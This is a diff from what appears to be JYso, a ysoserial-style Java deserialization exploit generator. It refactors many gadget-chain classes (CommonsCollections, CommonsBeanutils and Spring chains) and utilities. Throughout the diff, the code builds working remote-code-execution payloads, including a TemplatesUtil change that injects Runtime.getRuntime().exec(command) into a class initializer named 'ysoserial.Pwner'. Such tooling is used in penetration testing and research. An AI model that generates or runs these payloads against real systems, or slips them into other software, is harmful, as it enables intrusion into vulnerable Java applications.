-        queue.add(attrNS1);
-        queue.add(attrNS1);
-
-        Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
-        Reflections.setFieldValue(beanComparator, "property", "outputProperties");
-
-        return queue;
     }
 }

src/main/java/com/qi4l/JYso/gadgets/cb_JDBC.java

@@ -8,7 +8,7 @@ import org.apache.commons.beanutils.BeanComparator;
 
 import java.util.PriorityQueue;
 
-@SuppressWarnings({"rawtypes", "unchecked"})
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 @Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
 @Authors({Authors.QI4L})
 public class cb_JDBC implements ObjectPayload<Object> {

src/main/java/com/qi4l/JYso/gadgets/cb_JNDI.java

@@ -9,6 +9,7 @@ import org.apache.commons.beanutils.BeanComparator;
 import java.math.BigInteger;
 import java.util.PriorityQueue;
 
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1"})
 @Authors({Authors.QI4L})
 public class cb_JNDI implements ObjectPayload<Object> {

src/main/java/com/qi4l/JYso/gadgets/cb_ObjectToStringComparator183.java

@@ -4,17 +4,14 @@ import com.qi4l.JYso.gadgets.annotation.Authors;
 import com.qi4l.JYso.gadgets.annotation.Dependencies;
 import com.qi4l.JYso.gadgets.utils.Gadgets;
 import com.qi4l.JYso.gadgets.utils.Reflections;
-import com.qi4l.JYso.gadgets.utils.SuClassLoader;
-import javassist.ClassClassPath;
-import javassist.ClassPool;
-import javassist.CtClass;
-import javassist.CtField;
 import org.apache.commons.lang3.compare.ObjectToStringComparator;
 
 import java.util.Comparator;
-import java.util.PriorityQueue;
 
+import static com.qi4l.JYso.gadgets.cb_AttrCompare183.getCbSink_2;
+import static com.qi4l.JYso.gadgets.cb_AttrCompare183.getCbSink_3;
 
+@SuppressWarnings({"rawtypes", "unused"})
 @Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "org.apache.commons:commons-lang3:3.10", "commons-beanutils:commons-beanutils:1.7X"})
 @Authors({"SummerSec"})
 public class cb_ObjectToStringComparator183 implements ObjectPayload<Object> {
@@ -22,29 +19,12 @@ public class cb_ObjectToStringComparator183 implements ObjectPayload<Object> {
     public Object getObject(String command) throws Exception {
         final Object template;
         template = Gadgets.createTemplatesImpl(command);
-        ClassPool pool = ClassPool.getDefault();
-        pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
-        final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
-        try {
-            CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID");
-            ctBeanComparator.removeField(ctSUID);
-        } catch (javassist.NotFoundException e) {
-        }
-        ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator));
-        final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
-        ctBeanComparator.defrost();
-        Reflections.setFieldValue(beanComparator, "comparator", new ObjectToStringComparator());
 
+        Comparator beanComparator = getCbSink_2();
+
+        Reflections.setFieldValue(beanComparator, "comparator", new ObjectToStringComparator());
         ObjectToStringComparator stringComparator = new ObjectToStringComparator();
 
-        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, (Comparator<? super Object>) beanComparator);
+        return getCbSink_3(beanComparator, stringComparator, template);
-
-        queue.add(stringComparator);
-        queue.add(stringComparator);
-
-        Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
-        Reflections.setFieldValue(beanComparator, "property", "outputProperties");
-
-        return queue;
     }
 }

src/main/java/com/qi4l/JYso/gadgets/cb_PropertySource183.java

@@ -4,17 +4,13 @@ import com.qi4l.JYso.gadgets.annotation.Authors;
 import com.qi4l.JYso.gadgets.annotation.Dependencies;
 import com.qi4l.JYso.gadgets.utils.Gadgets;
 import com.qi4l.JYso.gadgets.utils.Reflections;
-import com.qi4l.JYso.gadgets.utils.SuClassLoader;
-import javassist.ClassClassPath;
-import javassist.ClassPool;
-import javassist.CtClass;
-import javassist.CtField;
 import org.apache.logging.log4j.util.PropertySource;
 
 import java.util.Comparator;
-import java.util.PriorityQueue;
 
+import static com.qi4l.JYso.gadgets.cb_AttrCompare183.getCbSink_3;
 
+@SuppressWarnings({"rawtypes", "unused"})
 @Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"})
 @Authors({"SummerSec"})
 public class cb_PropertySource183 implements ObjectPayload<Object> {
@@ -22,35 +18,11 @@ public class cb_PropertySource183 implements ObjectPayload<Object> {
     public Object getObject(String command) throws Exception {
         final Object template;
         template = Gadgets.createTemplatesImpl(command);
-        PropertySource propertySource1 = new PropertySource() {
+        PropertySource propertySource1 = () -> 0;
-            @Override
-            public int getPriority() {
-                return 0;
-            }
-        };
 
-        ClassPool pool = ClassPool.getDefault();
+        Comparator beanComparator = cb_AttrCompare183.getCbSink_2();
-        pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
-        final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
-        try {
-            CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID");
-            ctBeanComparator.removeField(ctSUID);
-        } catch (javassist.NotFoundException e) {
-        }
-        ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator));
-        final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
-        ctBeanComparator.defrost();
         Reflections.setFieldValue(beanComparator, "comparator", new PropertySource.Comparator());
 
-
+        return getCbSink_3(beanComparator, propertySource1, template);
-        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, (Comparator<? super Object>) beanComparator);
-
-        queue.add(propertySource1);
-        queue.add(propertySource1);
-
-        Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
-        Reflections.setFieldValue(beanComparator, "property", "outputProperties");
-
-        return queue;
     }
 }

src/main/java/com/qi4l/JYso/gadgets/cb_PropertySource192.java

@@ -9,7 +9,7 @@ import org.apache.logging.log4j.util.PropertySource;
 
 import java.util.PriorityQueue;
 
-
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 @Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
 @Authors({"SummerSec"})
 public class cb_PropertySource192 implements ObjectPayload<Object> {
@@ -17,12 +17,7 @@ public class cb_PropertySource192 implements ObjectPayload<Object> {
     public Object getObject(String command) throws Exception {
         final Object template;
         template = Gadgets.createTemplatesImpl(command);
-        PropertySource propertySource1 = new PropertySource() {
+        PropertySource propertySource1 = () -> 0;
-            @Override
-            public int getPriority() {
-                return 0;
-            }
-        };
 
         BeanComparator beanComparator = new BeanComparator(null, new PropertySource.Comparator());
 

src/main/java/com/qi4l/JYso/gadgets/cc1.java

@@ -42,16 +42,20 @@ import static com.qi4l.JYso.gadgets.utils.Utils.createMemoitizedProxy;
 @SuppressWarnings({"rawtypes", "unchecked", "unused"})
 @Dependencies({"commons-collections:commons-collections:3.1"})
 @Authors({Authors.FROHOFF})
-public class cc1 implements ObjectPayload<InvocationHandler> {
+public class cc1 implements ObjectPayload<Object> {
 
     @Override
-    public InvocationHandler getObject(String command) throws Exception {
+    public Object getObject(String command) throws Exception {
 
         final Transformer transformerChain = new ChainedTransformer(
                 new Transformer[]{new ConstantTransformer(1)});
         // real chain for after setup
         final Transformer[] transformers = TransformerUtil.makeTransformer(command);
 
+        return get_CC_Sink(transformerChain, transformers);
+    }
+
+    static Object get_CC_Sink(Transformer transformerChain, Transformer[] transformers) throws Exception {
         final Map innerMap = new HashMap();
         final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
         final Map mapProxy = createMemoitizedProxy(lazyMap, Map.class);

src/main/java/com/qi4l/JYso/gadgets/cc10.java

@@ -4,7 +4,6 @@ import com.qi4l.JYso.gadgets.annotation.Dependencies;
 import com.qi4l.JYso.gadgets.utils.Gadgets;
 import com.qi4l.JYso.gadgets.utils.Reflections;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
-import org.apache.commons.collections.Factory;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.FactoryTransformer;
 import org.apache.commons.collections.functors.InstantiateFactory;
@@ -15,7 +14,7 @@ import javax.xml.transform.Templates;
 import java.util.HashMap;
 import java.util.Map;
 
-
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 @Dependencies({"commons-collections:commons-collections:3.2.1"})
 public class cc10 implements ObjectPayload<Object> {
     public Object getObject(String command) throws Exception {
@@ -25,7 +24,7 @@ public class cc10 implements ObjectPayload<Object> {
 
         // 使用 InstantiateFactory 代替 InstantiateTransformer
         InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates});
-        FactoryTransformer factoryTransformer = new FactoryTransformer((Factory) instantiateFactory);
+        FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);
 
         // 先放一个无关键要的 Transformer
         ConstantTransformer constantTransformer = new ConstantTransformer(1);

src/main/java/com/qi4l/JYso/gadgets/cc11.java

@@ -1,5 +1,7 @@
 package com.qi4l.JYso.gadgets;
 
+import com.qi4l.JYso.gadgets.annotation.Authors;
+import com.qi4l.JYso.gadgets.annotation.Dependencies;
 import com.qi4l.JYso.gadgets.utils.Gadgets;
 import com.qi4l.JYso.gadgets.utils.Reflections;
 import org.apache.commons.collections.functors.ConstantTransformer;
@@ -16,6 +18,10 @@ import java.util.Map;
  * 需要调用其 connect 方法，因此需要调用任意方法的 Gadget，这里选择了 InvokerTransformer
  * 直接传入 Base64 编码的序列化数据即可
  */
+
+@SuppressWarnings({"unchecked","unused"})
+@Dependencies({"commons-collections:commons-collections:3.2.1"})
+@Authors({Authors.QI4L})
 public class cc11 implements ObjectPayload<Object> {
 
     @Override

src/main/java/com/qi4l/JYso/gadgets/cc12.java

@@ -15,6 +15,7 @@ import java.lang.reflect.Field;
 import java.util.HashMap;
 import java.util.Map;
 
+@SuppressWarnings({"rawtypes", "unused"})
 @Dependencies({"commons-collections:commons-collections:3.2.1"})
 @Authors({Authors.Jayl1n})
 public class cc12 implements ObjectPayload<Object> {

src/main/java/com/qi4l/JYso/gadgets/cc13.java

@@ -14,6 +14,7 @@ import org.apache.commons.collections.map.LazyMap;
 import java.util.HashMap;
 import java.util.Map;
 
+@SuppressWarnings({"rawtypes", "unused"})
 @Dependencies({"commons-collections:commons-collections:3.1"})
 @Authors({Authors.UNAM4})
 public class cc13 implements ObjectPayload<Object> {
@@ -29,7 +30,6 @@ public class cc13 implements ObjectPayload<Object> {
         Reflections.setFieldValue(tiedMapEntry, "key", 233);
 
         return hashMap;
-        //return hashtable;
     }
 
 }

src/main/java/com/qi4l/JYso/gadgets/cc2.java

@@ -11,7 +11,7 @@ import java.util.PriorityQueue;
 import java.util.Queue;
 
 
-@SuppressWarnings({"rawtypes", "unchecked"})
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 @Dependencies({"org.apache.commons:commons-collections4:4.0"})
 @Authors({Authors.FROHOFF})
 public class cc2 implements ObjectPayload<Queue<Object>> {

src/main/java/com/qi4l/JYso/gadgets/cc3.java

@@ -4,20 +4,15 @@ import com.qi4l.JYso.gadgets.annotation.Authors;
 import com.qi4l.JYso.gadgets.annotation.Dependencies;
 import com.qi4l.JYso.gadgets.utils.Gadgets;
 import com.qi4l.JYso.gadgets.utils.JavaVersion;
-import com.qi4l.JYso.gadgets.utils.Reflections;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
 import org.apache.commons.collections.Transformer;
 import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InstantiateTransformer;
-import org.apache.commons.collections.map.LazyMap;
 
 import javax.xml.transform.Templates;
-import java.lang.reflect.InvocationHandler;
-import java.util.HashMap;
-import java.util.Map;
 
-import static com.qi4l.JYso.gadgets.utils.Utils.createMemoitizedProxy;
+import static com.qi4l.JYso.gadgets.cc1.get_CC_Sink;
 
 
 /**
@@ -25,7 +20,7 @@ import static com.qi4l.JYso.gadgets.utils.Utils.createMemoitizedProxy;
  * InvokerTransformer.
  */
 
-@SuppressWarnings({"rawtypes", "unchecked", "restriction", "unused"})
+@SuppressWarnings({"restriction", "unused"})
 @Dependencies({"commons-collections:commons-collections:3.1"})
 @Authors({Authors.FROHOFF})
 public class cc3 implements ObjectPayload<Object> {
@@ -49,13 +44,6 @@ public class cc3 implements ObjectPayload<Object> {
                         new Class[]{Templates.class},
                         new Object[]{templatesImpl})};
 
-        final Map innerMap = new HashMap();
+        return get_CC_Sink(transformerChain, transformers);
-        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
-        final Map mapProxy = createMemoitizedProxy(lazyMap, Map.class);
-        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
-
-        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
-
-        return handler;
     }
 }

src/main/java/com/qi4l/JYso/gadgets/cc4.java

@@ -5,7 +5,6 @@ import com.qi4l.JYso.gadgets.annotation.Dependencies;
 import com.qi4l.JYso.gadgets.utils.Gadgets;
 import com.qi4l.JYso.gadgets.utils.Reflections;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
-import org.apache.commons.collections4.Transformer;
 import org.apache.commons.collections4.comparators.TransformingComparator;
 import org.apache.commons.collections4.functors.ChainedTransformer;
 import org.apache.commons.collections4.functors.ConstantTransformer;
@@ -21,6 +20,7 @@ import java.util.Queue;
  * InvokerTransformer.
  */
 
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 @Dependencies({"org.apache.commons:commons-collections4:4.0"})
 @Authors({Authors.FROHOFF})
 public class cc4 implements ObjectPayload<Queue<Object>> {
@@ -39,7 +39,7 @@ public class cc4 implements ObjectPayload<Queue<Object>> {
         paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
         args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
 
-        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{constant, instantiate});
+        ChainedTransformer chain = new ChainedTransformer(constant, instantiate);
 
         // create queue with numbers
         PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));

src/main/java/com/qi4l/JYso/gadgets/cc4_17.java

@@ -13,7 +13,7 @@ import java.util.PriorityQueue;
 import static com.qi4l.JYso.gadgets.utils.jdk17Bypass.patchModule;
 
 
-@SuppressWarnings({"rawtypes", "unchecked"})
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 @Authors({Authors.JIECUB3})
 public class cc4_17 implements ObjectPayload<Object> {
     @Override

src/main/java/com/qi4l/JYso/gadgets/cc6.java

@@ -2,7 +2,6 @@ package com.qi4l.JYso.gadgets;
 
 import com.qi4l.JYso.gadgets.annotation.Authors;
 import com.qi4l.JYso.gadgets.annotation.Dependencies;
-import com.qi4l.JYso.gadgets.utils.Reflections;
 import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
 import org.apache.commons.collections.Transformer;
 import org.apache.commons.collections.functors.ChainedTransformer;
@@ -10,11 +9,11 @@ import org.apache.commons.collections.keyvalue.TiedMapEntry;
 import org.apache.commons.collections.map.LazyMap;
 
 import java.io.Serializable;
-import java.lang.reflect.Field;
 import java.util.HashMap;
-import java.util.HashSet;
 import java.util.Map;
 
+import static com.qi4l.JYso.gadgets.AspectJWeaver2.getSerializableCC6;
+
 
 /**
  * Gadget chain:
@@ -32,7 +31,7 @@ import java.util.Map;
  * <p>
  * by @matthias_kaiser
  */
-@SuppressWarnings({"rawtypes", "unchecked"})
+@SuppressWarnings({"rawtypes","unused"})
 @Dependencies({"commons-collections:commons-collections:3.1"})
 @Authors({Authors.MATTHIASKAISER})
 public class cc6 implements ObjectPayload<Serializable> {
@@ -45,43 +44,6 @@ public class cc6 implements ObjectPayload<Serializable> {
         final Map innerMap = new HashMap();
         final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
         TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L");
-        HashSet map = new HashSet(1);
+        return getSerializableCC6(entry);
-        map.add("QI4L");
-        Field f = null;
-        try {
-            f = HashSet.class.getDeclaredField("map");
-        } catch (NoSuchFieldException e) {
-            f = HashSet.class.getDeclaredField("backingMap");
-        }
-
-        Reflections.setAccessible(f);
-        HashMap innimpl = (HashMap) f.get(map);
-
-        Field f2 = null;
-        try {
-            f2 = HashMap.class.getDeclaredField("table");
-        } catch (NoSuchFieldException e) {
-            f2 = HashMap.class.getDeclaredField("elementData");
-        }
-
-        Reflections.setAccessible(f2);
-        Object[] array = (Object[]) f2.get(innimpl);
-
-        Object node = array[0];
-        if (node == null) {
-            node = array[1];
-        }
-
-        Field keyField = null;
-        try {
-            keyField = node.getClass().getDeclaredField("key");
-        } catch (Exception e) {
-            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
-        }
-
-        Reflections.setAccessible(keyField);
-        keyField.set(node, entry);
-
-        return map;
     }
 }

src/main/java/com/qi4l/JYso/gadgets/cc7.java

@@ -15,7 +15,7 @@ import java.util.Map;
 /**
  * CC6的简化写法
  */
-@SuppressWarnings({"rawtypes", "unchecked"})
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 @Dependencies({"commons-collections:commons-collections:3.1"})
 @Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI})
 public class cc7 implements ObjectPayload<Hashtable> {

src/main/java/com/qi4l/JYso/gadgets/cc8.java

@@ -4,14 +4,12 @@ import com.qi4l.JYso.gadgets.annotation.Authors;
 import com.qi4l.JYso.gadgets.annotation.Dependencies;
 import com.qi4l.JYso.gadgets.utils.Gadgets;
 import com.qi4l.JYso.gadgets.utils.Reflections;
-import org.apache.commons.collections4.Transformer;
 import org.apache.commons.collections4.bag.TreeBag;
 import org.apache.commons.collections4.comparators.TransformingComparator;
 import org.apache.commons.collections4.functors.InvokerTransformer;
 
-import java.util.Comparator;
-
 
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 @Dependencies({"org.apache.commons:commons-collections4:4.0"})
 @Authors({"navalorenzo"})
 public class cc8 implements ObjectPayload<TreeBag> {
@@ -20,8 +18,8 @@ public class cc8 implements ObjectPayload<TreeBag> {
         final Object templates = Gadgets.createTemplatesImpl(command);
 
         InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
-        TransformingComparator comp = new TransformingComparator((Transformer) transformer);
+        TransformingComparator comp = new TransformingComparator(transformer);
-        TreeBag tree = new TreeBag((Comparator) comp);
+        TreeBag tree = new TreeBag(comp);
         tree.add(templates);
         Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
         return tree;

src/main/java/com/qi4l/JYso/gadgets/cc9.java

@@ -14,6 +14,7 @@ import javax.management.BadAttributeValueExpException;
 import java.util.HashMap;
 import java.util.Map;
 
+@SuppressWarnings({"rawtypes", "unused"})
 @Dependencies({"commons-collections:commons-collections:3.2.1"})
 @Authors({"梅子酒"})
 
@@ -21,9 +22,9 @@ public class cc9 implements ObjectPayload<BadAttributeValueExpException> {
 
     public BadAttributeValueExpException getObject(String command) throws Exception {
 
-        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Integer.valueOf(1))});
+        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
         Transformer[] transformers = TransformerUtil.makeTransformer(command);
-        Map<Object, Object> innerMap = new HashMap<Object, Object>();
+        Map<Object, Object> innerMap = new HashMap<>();
         Map defaultedmap = DefaultedMap.decorate(innerMap, chainedTransformer);
         TiedMapEntry entry = new TiedMapEntry(defaultedmap, "QI4L");
         BadAttributeValueExpException val = new BadAttributeValueExpException(null);

src/main/java/com/qi4l/JYso/gadgets/cck1.java

@@ -21,6 +21,7 @@ import java.util.Map;
  * templates...
  */
 
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 @Dependencies({"commons-collections:commons-collections:3.1"})
 public class cck1 implements ObjectPayload<Object> {
 
@@ -29,7 +30,7 @@ public class cck1 implements ObjectPayload<Object> {
         final Object templates;
         templates = Gadgets.createTemplatesImpl(command);
         InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
-        HashMap<String, String> innerMap = new HashMap<String, String>();
+        HashMap<String, String> innerMap = new HashMap<>();
         Map m = LazyMap.decorate(innerMap, transformer);
         Map outerMap = new HashMap();
         TiedMapEntry tied = new TiedMapEntry(m, templates);

src/main/java/com/qi4l/JYso/gadgets/cck2.java

@@ -10,6 +10,7 @@ import org.apache.commons.collections4.map.LazyMap;
 import java.util.HashMap;
 import java.util.Map;
 
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 @Dependencies({"commons-collections:commons-collections:4.0"})
 public class cck2 implements ReleaseableObjectPayload<Object> {
 
@@ -18,7 +19,7 @@ public class cck2 implements ReleaseableObjectPayload<Object> {
 
         templates = Gadgets.createTemplatesImpl(command);
         InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
-        HashMap<String, String> innerMap = new HashMap<String, String>();
+        HashMap<String, String> innerMap = new HashMap<>();
         Map m = LazyMap.lazyMap(innerMap, transformer);
         Map outerMap = new HashMap();
         TiedMapEntry tied = new TiedMapEntry(m, templates);

src/main/java/com/qi4l/JYso/gadgets/cck3.java

@@ -13,6 +13,7 @@ import org.apache.commons.collections.map.LazyMap;
 import java.util.HashMap;
 import java.util.Map;
 
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 @Dependencies({"commons-collections:commons-collections:3.1"})
 @Authors({Authors.MATTHIASKAISER})
 public class cck3 implements ObjectPayload<Object> {

src/main/java/com/qi4l/JYso/gadgets/cck4.java

@@ -13,6 +13,7 @@ import org.apache.commons.collections4.map.LazyMap;
 import java.util.HashMap;
 import java.util.Map;
 
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 @Dependencies({"commons-collections:commons-collections:4.0"})
 @Authors({Authors.MATTHIASKAISER})
 public class cck4 implements ObjectPayload<Object> {

src/main/java/com/qi4l/JYso/gadgets/springFs.java

@@ -21,9 +21,11 @@ import java.net.URL;
 import java.net.URLClassLoader;
 import java.util.ArrayList;
 import java.util.HashMap;
+import java.util.Objects;
 
 import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
 
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 public class springFs implements ObjectPayload<Object>, Serializable {
     public static ClassPool pool = ClassPool.getDefault();
     // jdk7下使用badAttributeValueExpException,jdk8以上使用xString可打高版本JDK(jdk17)
@@ -31,14 +33,14 @@ public class springFs implements ObjectPayload<Object>, Serializable {
     // 低版本Spring-beans <5.3 -8835275493235412717
     // 高版本Spring-beans >=5.3 -1515767093960859525"
     public String serialVersionUID = "-1515767093960859525";
-    private Object inv;
 
     @Override
     public Object getObject(String command) throws Exception {
 
         Object obj = Gadgets.createTemplatesImpl(command);
 
-        if (this.serialVersionUID == "-1515767093960859525") {
+        Object inv;
+        if (Objects.equals(this.serialVersionUID, "-1515767093960859525")) {
 
             CtClass ctClass;
             try {
@@ -54,21 +56,21 @@ public class springFs implements ObjectPayload<Object>, Serializable {
             try {
                 CtField field = ctClass.getDeclaredField("serialVersionUID");
                 ctClass.removeField(field);
-            } catch (NotFoundException e) {
+            } catch (NotFoundException ignored) {
             }
             ctClass.addField(CtField.make("private static final long serialVersionUID = " + serialVersionUID + "L;", ctClass));
             Class<?> aClass = ctClass.toClass(new URLClassLoader(new URL[0]), null);
-            this.inv = Reflections.createWithoutConstructor(aClass);
+            inv = Reflections.createWithoutConstructor(aClass);
             ctClass.defrost();
         } else {
-            this.inv = Reflections.createWithoutConstructor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
+            inv = Reflections.createWithoutConstructor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
         }
         HashMap<String, Object> hashMap = new HashMap<>();
         hashMap.put("object", obj);
         JSONObject jsonObject = new JSONObject(hashMap);
         Object o2 = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[]{ObjectFactory.class}, jsonObject);
-        Reflections.setFieldValue(this.inv, "objectFactory", o2);
+        Reflections.setFieldValue(inv, "objectFactory", o2);
-        Object o = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[]{Templates.class}, (InvocationHandler) this.inv);
+        Object o = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[]{Templates.class}, (InvocationHandler) inv);
         JSONArray jsonArray = new JSONArray();
         jsonArray.add(o);
         if (this.toString.equals("xString")) {

src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java

@@ -21,6 +21,7 @@ import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass;
 import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.shrinkBytes;
 import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
 
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 public class Gadgets extends ClassLoader {
     public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
     public static Class<?> TPL_CLASS = TemplatesImpl.class;

src/main/java/com/qi4l/JYso/gadgets/utils/HexUtils.java

@@ -3,42 +3,8 @@ package com.qi4l.JYso.gadgets.utils;
 import java.io.EOFException;
 import java.io.IOException;
 import java.io.InputStream;
-import java.security.MessageDigest;
-import java.security.NoSuchAlgorithmException;
-import java.util.Formatter;
 
 public class HexUtils {
-    public static String generatePassword(String password) {
-        String md5Str = getMD5(password);
-        if (md5Str != null) {
-            return md5Str.substring(0, 16).toLowerCase();
-        }
-
-        // 如果生成出错，则使用 p@ssw0rd
-        return "0f359740bd1cda99";
-    }
-
-    public static String getMD5(String str) {
-        // 生成一个MD5加密计算摘要
-        MessageDigest md;
-        try {
-            md = MessageDigest.getInstance("MD5");
-            md.update(str.getBytes());
-            return toHexString(md.digest());
-        } catch (NoSuchAlgorithmException ignored) {
-        }
-        return null;
-    }
-
-    private static String toHexString(byte[] bytes) {
-        Formatter formatter = new Formatter();
-        for (byte b : bytes) {
-            formatter.format("%02x", b);
-        }
-        String res = formatter.toString();
-        formatter.close();
-        return res;
-    }
 
     public static byte[] toByteArray(InputStream in) throws IOException {
         byte[] classBytes;

src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java

@@ -2,7 +2,6 @@ package com.qi4l.JYso.gadgets.utils;
 
 
 import com.caucho.hessian.io.*;
-import com.qi4l.JYso.gadgets.Config.Config;
 import com.qi4l.JYso.gadgets.utils.utf8OverlongEncoding.UTF8OverlongObjectOutputStream;
 import org.springframework.jndi.support.SimpleJndiBeanFactory;
 
@@ -15,6 +14,7 @@ import java.util.concurrent.Callable;
 
 import static com.qi4l.JYso.gadgets.Config.Config.*;
 
+@SuppressWarnings({"unused"})
 public class Serializer implements Callable<byte[]> {
     public static Boolean globalinline = false;
     private final Object object;

src/main/java/com/qi4l/JYso/gadgets/utils/TemplatesUtil.java

@@ -15,6 +15,7 @@ import java.io.Serializable;
 
 import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
 
+@SuppressWarnings({"unused"})
 public class TemplatesUtil {
     public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
 
@@ -61,11 +62,11 @@ public class TemplatesUtil {
             }
 
             sb.append('"');
-            sb.append(arg.replaceAll("\"", "\\\""));
+            sb.append(arg.replaceAll("\"", "\""));
             sb.append('"');
         }
 
-        clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(new String[] { " + sb.toString() + " });");
+        clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(new String[] { " + sb + " });");
         // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
         clazz.setName("ysoserial.Pwner" + System.nanoTime());
         CtClass superC = pool.get(abstTranslet.getName());

src/main/java/com/qi4l/JYso/gadgets/utils/ThirdLibsClassLoader.java

@@ -11,6 +11,7 @@ import java.util.Map;
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
 
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 public class ThirdLibsClassLoader extends URLClassLoader {
     public static final String thirdLibDir = "chains-config/third-libs";
     private static final String commonDir = "common";
@@ -85,7 +86,7 @@ public class ThirdLibsClassLoader extends URLClassLoader {
             log.debug("Add common lib: {}", url);
             loader.addURL(url);
         }
-        log.info("Loaded {} libraries from common directory", Integer.valueOf(jarUrls.size()));
+        log.info("Loaded {} libraries from common directory", jarUrls.size());
         return loader;
     }
 
@@ -97,9 +98,9 @@ public class ThirdLibsClassLoader extends URLClassLoader {
                 List<URL> jarUrls = new ArrayList<>();
                 findJarFiles(dir, jarUrls);
                 if (!jarUrls.isEmpty()) {
-                    ThirdLibsClassLoader dirClassLoader = new ThirdLibsClassLoader((URL[]) jarUrls.toArray(new URL[0]), INSTANCE);
+                    ThirdLibsClassLoader dirClassLoader = new ThirdLibsClassLoader(jarUrls.toArray(new URL[0]), INSTANCE);
                     pluginClassLoaderMap.put(dir.getName(), dirClassLoader);
-                    log.info("Loaded {} libraries from directory: {}", Integer.valueOf(jarUrls.size()), dir.getName());
+                    log.info("Loaded {} libraries from directory: {}", jarUrls.size(), dir.getName());
                 }
             }
         }

src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java

@@ -5,7 +5,8 @@ import javassist.CannotCompileException;
 import javassist.ClassPool;
 import javassist.CtClass;
 import org.apache.commons.codec.binary.Base64;
